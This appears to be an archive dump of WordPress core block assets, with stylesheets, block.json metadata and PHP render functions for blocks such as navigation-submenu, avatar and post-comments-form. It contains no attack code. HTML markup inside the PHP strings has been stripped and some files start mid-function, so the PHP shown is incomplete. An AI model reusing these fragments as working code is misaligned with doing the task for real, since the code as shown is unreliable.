Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-tag-cloud.aligncenter { text-align: center; } .wp-block-tag-cloud.alignfull { padding-left: 1em; padding-right: 1em; } .wp-block-tag-cloud a { display: inline-block; margin-right: 5px; } .wp-block-tag-cloud span { display: inline-block; margin-left: 5px; text-decoration: none; } .wp-block-tag-cloud.is-style-outline { display: flex; flex-wrap: wrap; gap: 1ch; } .wp-block-tag-cloud.is-style-outline a { border: 1px solid currentColor; font-size: unset !important; margin-right: 0; padding: 1ch 2ch; text-decoration: none !important; }blocks/site-tagline.php000064400000001742147177035020011131 0ustar00 $align_class_name ) ); return sprintf( '

    %2$s

    ', $wrapper_attributes, $site_tagline ); } /** * Registers the `core/site-tagline` block on the server. */ function register_block_core_site_tagline() { register_block_type_from_metadata( __DIR__ . '/site-tagline', array( 'render_callback' => 'render_block_core_site_tagline', ) ); } add_action( 'init', 'register_block_core_site_tagline' ); blocks/post-comments-form/editor-rtl.css000064400000003112147177035020014374 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-post-comments-form * { pointer-events: none; } .wp-block-post-comments-form *.block-editor-warning * { pointer-events: auto; }blocks/post-comments-form/style.min.css000064400000003535147177035020014242 0ustar00.wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title){font-weight:inherit}.wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title){font-family:inherit}.wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title),.wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title){font-size:inherit}.wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title){line-height:inherit}.wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title){font-style:inherit}.wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title){letter-spacing:inherit}.wp-block-post-comments-form input[type=submit]{border:none;box-shadow:none;cursor:pointer;display:inline-block;text-align:center;overflow-wrap:break-word}.wp-block-post-comments-form input:not([type=submit]),.wp-block-post-comments-form textarea{border:1px solid #949494;font-size:1em;font-family:inherit}.wp-block-post-comments-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments-form textarea{padding:calc(.667em + 2px)}.wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments-form .comment-form textarea{display:block;box-sizing:border-box;width:100%}.wp-block-post-comments-form .comment-form-author label,.wp-block-post-comments-form .comment-form-email label,.wp-block-post-comments-form .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments-form .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments-form .comment-reply-title{margin-bottom:0}.wp-block-post-comments-form .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-left:.5em}blocks/post-comments-form/editor.css000064400000003112147177035020013575 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-post-comments-form * { pointer-events: none; } .wp-block-post-comments-form *.block-editor-warning * { pointer-events: auto; }blocks/post-comments-form/style-rtl.css000064400000006717147177035020014264 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title) { font-weight: inherit; } .wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title) { font-family: inherit; } .wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title), .wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title) { font-size: inherit; } .wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title) { line-height: inherit; } .wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title) { font-style: inherit; } .wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title) { letter-spacing: inherit; } .wp-block-post-comments-form input[type=submit] { border: none; box-shadow: none; cursor: pointer; display: inline-block; text-align: center; overflow-wrap: break-word; } .wp-block-post-comments-form textarea, .wp-block-post-comments-form input:not([type=submit]) { border: 1px solid #949494; font-size: 1em; font-family: inherit; } .wp-block-post-comments-form textarea, .wp-block-post-comments-form input:not([type=submit]):not([type=checkbox]) { padding: calc(0.667em + 2px); } .wp-block-post-comments-form .comment-form textarea, .wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]) { display: block; box-sizing: border-box; width: 100%; } .wp-block-post-comments-form .comment-form-author label, .wp-block-post-comments-form .comment-form-email label, .wp-block-post-comments-form .comment-form-url label { display: block; margin-bottom: 0.25em; } .wp-block-post-comments-form .comment-form-cookies-consent { display: flex; gap: 0.25em; } .wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent { margin-top: 0.35em; } .wp-block-post-comments-form .comment-reply-title { margin-bottom: 0; } .wp-block-post-comments-form .comment-reply-title :where(small) { font-size: var(--wp--preset--font-size--medium, smaller); margin-right: 0.5em; }blocks/post-comments-form/editor.min.css000064400000000174147177035020014364 0ustar00.wp-block-post-comments-form *{pointer-events:none}.wp-block-post-comments-form .block-editor-warning *{pointer-events:auto}blocks/post-comments-form/block.json000064400000001670147177035020013571 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/post-comments-form", "title": "Post Comments Form", "category": "theme", "description": "Display a post's comments form.", "textdomain": "default", "attributes": { "textAlign": { "type": "string" } }, "usesContext": [ "postId", "postType" ], "supports": { "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalDefaultControls": { "fontSize": true } } }, "editorStyle": "wp-block-post-comments-form-editor", "style": [ "wp-block-post-comments-form", "wp-block-buttons", "wp-block-button" ] } blocks/post-comments-form/style-rtl.min.css000064400000003536147177035020015042 0ustar00.wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title){font-weight:inherit}.wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title){font-family:inherit}.wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title),.wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title){font-size:inherit}.wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title){line-height:inherit}.wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title){font-style:inherit}.wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title){letter-spacing:inherit}.wp-block-post-comments-form input[type=submit]{border:none;box-shadow:none;cursor:pointer;display:inline-block;text-align:center;overflow-wrap:break-word}.wp-block-post-comments-form input:not([type=submit]),.wp-block-post-comments-form textarea{border:1px solid #949494;font-size:1em;font-family:inherit}.wp-block-post-comments-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments-form textarea{padding:calc(.667em + 2px)}.wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments-form .comment-form textarea{display:block;box-sizing:border-box;width:100%}.wp-block-post-comments-form .comment-form-author label,.wp-block-post-comments-form .comment-form-email label,.wp-block-post-comments-form .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments-form .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments-form .comment-reply-title{margin-bottom:0}.wp-block-post-comments-form .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-right:.5em}blocks/post-comments-form/editor-rtl.min.css000064400000000174147177035020015163 0ustar00.wp-block-post-comments-form *{pointer-events:none}.wp-block-post-comments-form .block-editor-warning *{pointer-events:auto}blocks/post-comments-form/style.css000064400000006716147177035020013464 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title) { font-weight: inherit; } .wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title) { font-family: inherit; } .wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title), .wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title) { font-size: inherit; } .wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title) { line-height: inherit; } .wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title) { font-style: inherit; } .wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title) { letter-spacing: inherit; } .wp-block-post-comments-form input[type=submit] { border: none; box-shadow: none; cursor: pointer; display: inline-block; text-align: center; overflow-wrap: break-word; } .wp-block-post-comments-form textarea, .wp-block-post-comments-form input:not([type=submit]) { border: 1px solid #949494; font-size: 1em; font-family: inherit; } .wp-block-post-comments-form textarea, .wp-block-post-comments-form input:not([type=submit]):not([type=checkbox]) { padding: calc(0.667em + 2px); } .wp-block-post-comments-form .comment-form textarea, .wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]) { display: block; box-sizing: border-box; width: 100%; } .wp-block-post-comments-form .comment-form-author label, .wp-block-post-comments-form .comment-form-email label, .wp-block-post-comments-form .comment-form-url label { display: block; margin-bottom: 0.25em; } .wp-block-post-comments-form .comment-form-cookies-consent { display: flex; gap: 0.25em; } .wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent { margin-top: 0.35em; } .wp-block-post-comments-form .comment-reply-title { margin-bottom: 0; } .wp-block-post-comments-form .comment-reply-title :where(small) { font-size: var(--wp--preset--font-size--medium, smaller); margin-left: 0.5em; }blocks/query-no-results/block.json000064400000000743147177035020013276 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/query-no-results", "title": "No results", "category": "theme", "description": "Contains the block elements used to render content when no query results are found.", "parent": [ "core/query" ], "textdomain": "default", "usesContext": [ "queryId", "query" ], "supports": { "align": true, "reusable": false, "html": false, "color": { "gradients": true, "link": true } } } blocks/navigation-submenu.php000064400000023040147177035020012352 0ustar00 array(), 'inline_styles' => '', ); $is_sub_menu = isset( $attributes['isTopLevelItem'] ) ? ( ! $attributes['isTopLevelItem'] ) : false; // Text color. $named_text_color = null; $custom_text_color = null; if ( $is_sub_menu && array_key_exists( 'customOverlayTextColor', $context ) ) { $custom_text_color = $context['customOverlayTextColor']; } elseif ( $is_sub_menu && array_key_exists( 'overlayTextColor', $context ) ) { $named_text_color = $context['overlayTextColor']; } elseif ( array_key_exists( 'customTextColor', $context ) ) { $custom_text_color = $context['customTextColor']; } elseif ( array_key_exists( 'textColor', $context ) ) { $named_text_color = $context['textColor']; } elseif ( isset( $context['style']['color']['text'] ) ) { $custom_text_color = $context['style']['color']['text']; } // If has text color. if ( ! is_null( $named_text_color ) ) { // Add the color class. array_push( $colors['css_classes'], 'has-text-color', sprintf( 'has-%s-color', $named_text_color ) ); } elseif ( ! is_null( $custom_text_color ) ) { // Add the custom color inline style. $colors['css_classes'][] = 'has-text-color'; $colors['inline_styles'] .= sprintf( 'color: %s;', $custom_text_color ); } // Background color. $named_background_color = null; $custom_background_color = null; if ( $is_sub_menu && array_key_exists( 'customOverlayBackgroundColor', $context ) ) { $custom_background_color = $context['customOverlayBackgroundColor']; } elseif ( $is_sub_menu && array_key_exists( 'overlayBackgroundColor', $context ) ) { $named_background_color = $context['overlayBackgroundColor']; } elseif ( array_key_exists( 'customBackgroundColor', $context ) ) { $custom_background_color = $context['customBackgroundColor']; } elseif ( array_key_exists( 'backgroundColor', $context ) ) { $named_background_color = $context['backgroundColor']; } elseif ( isset( $context['style']['color']['background'] ) ) { $custom_background_color = $context['style']['color']['background']; } // If has background color. if ( ! is_null( $named_background_color ) ) { // Add the background-color class. array_push( $colors['css_classes'], 'has-background', sprintf( 'has-%s-background-color', $named_background_color ) ); } elseif ( ! is_null( $custom_background_color ) ) { // Add the custom background-color inline style. $colors['css_classes'][] = 'has-background'; $colors['inline_styles'] .= sprintf( 'background-color: %s;', $custom_background_color ); } return $colors; } /** * Build an array with CSS classes and inline styles defining the font sizes * which will be applied to the navigation markup in the front-end. * * @param array $context Navigation block context. * @return array Font size CSS classes and inline styles. */ function block_core_navigation_submenu_build_css_font_sizes( $context ) { // CSS classes. $font_sizes = array( 'css_classes' => array(), 'inline_styles' => '', ); $has_named_font_size = array_key_exists( 'fontSize', $context ); $has_custom_font_size = isset( $context['style']['typography']['fontSize'] ); if ( $has_named_font_size ) { // Add the font size class. $font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] ); } elseif ( $has_custom_font_size ) { // Add the custom font size inline style. $font_sizes['inline_styles'] = sprintf( 'font-size: %s;', $context['style']['typography']['fontSize'] ); } return $font_sizes; } /** * Returns the top-level submenu SVG chevron icon. * * @return string */ function block_core_navigation_submenu_render_submenu_icon() { return ''; } /** * Renders the `core/navigation-submenu` block. * * @param array $attributes The block attributes. * @param string $content The saved content. * @param WP_Block $block The parsed block. * * @return string Returns the post content with the legacy widget added. */ function render_block_core_navigation_submenu( $attributes, $content, $block ) { $navigation_link_has_id = isset( $attributes['id'] ) && is_numeric( $attributes['id'] ); $is_post_type = isset( $attributes['kind'] ) && 'post-type' === $attributes['kind']; $is_post_type = $is_post_type || isset( $attributes['type'] ) && ( 'post' === $attributes['type'] || 'page' === $attributes['type'] ); // Don't render the block's subtree if it is a draft. if ( $is_post_type && $navigation_link_has_id && 'publish' !== get_post_status( $attributes['id'] ) ) { return ''; } // Don't render the block's subtree if it has no label. if ( empty( $attributes['label'] ) ) { return ''; } $colors = block_core_navigation_submenu_build_css_colors( $block->context, $attributes ); $font_sizes = block_core_navigation_submenu_build_css_font_sizes( $block->context ); $classes = array_merge( $colors['css_classes'], $font_sizes['css_classes'] ); $style_attribute = ( $colors['inline_styles'] . $font_sizes['inline_styles'] ); $css_classes = trim( implode( ' ', $classes ) ); $has_submenu = count( $block->inner_blocks ) > 0; $is_active = ! empty( $attributes['id'] ) && ( get_the_ID() === $attributes['id'] ); $show_submenu_indicators = isset( $block->context['showSubmenuIcon'] ) && $block->context['showSubmenuIcon']; $open_on_click = isset( $block->context['openSubmenusOnClick'] ) && $block->context['openSubmenusOnClick']; $open_on_hover_and_click = isset( $block->context['openSubmenusOnClick'] ) && ! $block->context['openSubmenusOnClick'] && $show_submenu_indicators; $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $css_classes . ' wp-block-navigation-item' . ( $has_submenu ? ' has-child' : '' ) . ( $open_on_click ? ' open-on-click' : '' ) . ( $open_on_hover_and_click ? ' open-on-hover-click' : '' ) . ( $is_active ? ' current-menu-item' : '' ), 'style' => $style_attribute, ) ); $label = ''; if ( isset( $attributes['label'] ) ) { $label .= wp_kses_post( $attributes['label'] ); } $aria_label = sprintf( /* translators: Accessibility text. %s: Parent page title. */ __( '%s submenu' ), wp_strip_all_tags( $label ) ); $html = '
  • '; // If Submenus open on hover, we render an anchor tag with attributes. // If submenu icons are set to show, we also render a submenu button, so the submenu can be opened on click. if ( ! $open_on_click ) { $item_url = isset( $attributes['url'] ) ? $attributes['url'] : ''; // Start appending HTML attributes to anchor tag. $html .= '
  • %4$s', get_author_posts_url( $author_id ), esc_attr( $attributes['linkTarget'] ), $label, $avatar_block ); } return sprintf( '
    %2s
    ', $wrapper_attributes, $avatar_block ); } $comment = get_comment( $block->context['commentId'] ); /* translators: %s is the Comment Author name */ $alt = sprintf( __( '%s Avatar' ), $comment->comment_author ); if ( ! $comment ) { return ''; } $avatar_block = get_avatar( $comment, $size, '', $alt, array( 'extra_attr' => isset( $image_styles ) ? sprintf( ' style="%s"', safecss_filter_attr( implode( ' ', $image_styles ) ) ) : '', 'class' => "wp-block-avatar__image $image_classes", ) ); if ( isset( $attributes['isLink'] ) && $attributes['isLink'] && isset( $comment->comment_author_url ) && '' !== $comment->comment_author_url ) { $label = ''; if ( '_blank' === $attributes['linkTarget'] ) { // translators: %s is the Comment Author name. $label = 'aria-label="' . sprintf( esc_attr__( '(%s website link, opens in a new tab)' ), $comment->comment_author ) . '"'; } // translators: %1$s: Comment Author website link. %2$s: Link target. %3$s Aria label. %4$s Avatar image. $avatar_block = sprintf( '%4$s', $comment->comment_author_url, esc_attr( $attributes['linkTarget'] ), $label, $avatar_block ); } return sprintf( '
    %2s
    ', $wrapper_attributes, $avatar_block ); } /** * Registers the `core/avatar` block on the server. */ function register_block_core_avatar() { register_block_type_from_metadata( __DIR__ . '/avatar', array( 'render_callback' => 'render_block_core_avatar', ) ); } add_action( 'init', 'register_block_core_avatar' ); blocks/comments-pagination-numbers/editor-rtl.css000064400000003251147177035020016254 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-comments-pagination-numbers a { text-decoration: underline; } .wp-block-comments-pagination-numbers .page-numbers { margin-left: 2px; } .wp-block-comments-pagination-numbers .page-numbers:last-child { margin-right: 0; }blocks/comments-pagination-numbers/editor.css000064400000003273147177035020015461 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-comments-pagination-numbers a { text-decoration: underline; } .wp-block-comments-pagination-numbers .page-numbers { margin-right: 2px; } .wp-block-comments-pagination-numbers .page-numbers:last-child { /*rtl:ignore*/ margin-right: 0; }blocks/comments-pagination-numbers/editor.min.css000064400000000325147177035020016236 0ustar00.wp-block-comments-pagination-numbers a{text-decoration:underline}.wp-block-comments-pagination-numbers .page-numbers{margin-right:2px}.wp-block-comments-pagination-numbers .page-numbers:last-child{margin-right:0}blocks/comments-pagination-numbers/block.json000064400000000620147177035020015437 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/comments-pagination-numbers", "title": "Page Numbers", "category": "theme", "parent": [ "core/comments-pagination" ], "description": "Displays a list of page numbers for comments pagination.", "textdomain": "default", "usesContext": [ "postId" ], "supports": { "reusable": false, "html": false } } blocks/comments-pagination-numbers/editor-rtl.min.css000064400000000324147177035020017034 0ustar00.wp-block-comments-pagination-numbers a{text-decoration:underline}.wp-block-comments-pagination-numbers .page-numbers{margin-left:2px}.wp-block-comments-pagination-numbers .page-numbers:last-child{margin-right:0}blocks/comment-template/style.min.css000064400000000334147177035020013736 0ustar00.wp-block-comment-template{margin-bottom:0;max-width:100%;list-style:none;padding:0}.wp-block-comment-template li{clear:both}.wp-block-comment-template ol{margin-bottom:0;max-width:100%;list-style:none;padding-left:2rem}blocks/comment-template/style-rtl.css000064400000003312147177035020013752 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-comment-template { margin-bottom: 0; max-width: 100%; list-style: none; padding: 0; } .wp-block-comment-template li { clear: both; } .wp-block-comment-template ol { margin-bottom: 0; max-width: 100%; list-style: none; padding-right: 2rem; }blocks/comment-template/block.json000064400000000757147177035020013300 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/comment-template", "title": "Comment Template", "category": "design", "parent": [ "core/comments-query-loop" ], "description": "Contains the block elements used to display a comment, like the title, date, author, avatar and more.", "textdomain": "default", "usesContext": [ "postId" ], "supports": { "reusable": false, "html": false, "align": true }, "style": "wp-block-comment-template" } blocks/comment-template/style-rtl.min.css000064400000000335147177035020014536 0ustar00.wp-block-comment-template{margin-bottom:0;max-width:100%;list-style:none;padding:0}.wp-block-comment-template li{clear:both}.wp-block-comment-template ol{margin-bottom:0;max-width:100%;list-style:none;padding-right:2rem}blocks/comment-template/style.css000064400000003311147177035020013152 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-comment-template { margin-bottom: 0; max-width: 100%; list-style: none; padding: 0; } .wp-block-comment-template li { clear: both; } .wp-block-comment-template ol { margin-bottom: 0; max-width: 100%; list-style: none; padding-left: 2rem; }blocks/loginout/style.min.css000064400000000051147177035020012317 0ustar00.wp-block-loginout{box-sizing:border-box}blocks/loginout/style-rtl.css000064400000000056147177035020012341 0ustar00.wp-block-loginout{ box-sizing:border-box; }blocks/loginout/block.json000064400000000776147177035020011666 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/loginout", "title": "Login/out", "category": "theme", "description": "Show login & logout links.", "keywords": [ "login", "logout", "form" ], "textdomain": "default", "attributes": { "displayLoginAsForm": { "type": "boolean", "default": false }, "redirectToCurrent": { "type": "boolean", "default": true } }, "supports": { "className": true, "typography": { "fontSize": false } } } blocks/loginout/style-rtl.min.css000064400000000051147177035020013116 0ustar00.wp-block-loginout{box-sizing:border-box}blocks/loginout/style.css000064400000000056147177035020011542 0ustar00.wp-block-loginout{ box-sizing:border-box; }blocks/page-list-item/block.json000064400000002125147177035020012635 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/page-list-item", "title": "Page List Item", "category": "widgets", "parent": [ "core/page-list" ], "description": "Displays a page inside a list of all pages.", "keywords": [ "page", "menu", "navigation" ], "textdomain": "default", "attributes": { "id": { "type": "number" }, "label": { "type": "string" }, "title": { "type": "string" }, "link": { "type": "string" }, "hasChildren": { "type": "boolean" } }, "usesContext": [ "textColor", "customTextColor", "backgroundColor", "customBackgroundColor", "overlayTextColor", "customOverlayTextColor", "overlayBackgroundColor", "customOverlayBackgroundColor", "fontSize", "customFontSize", "showSubmenuIcon", "style", 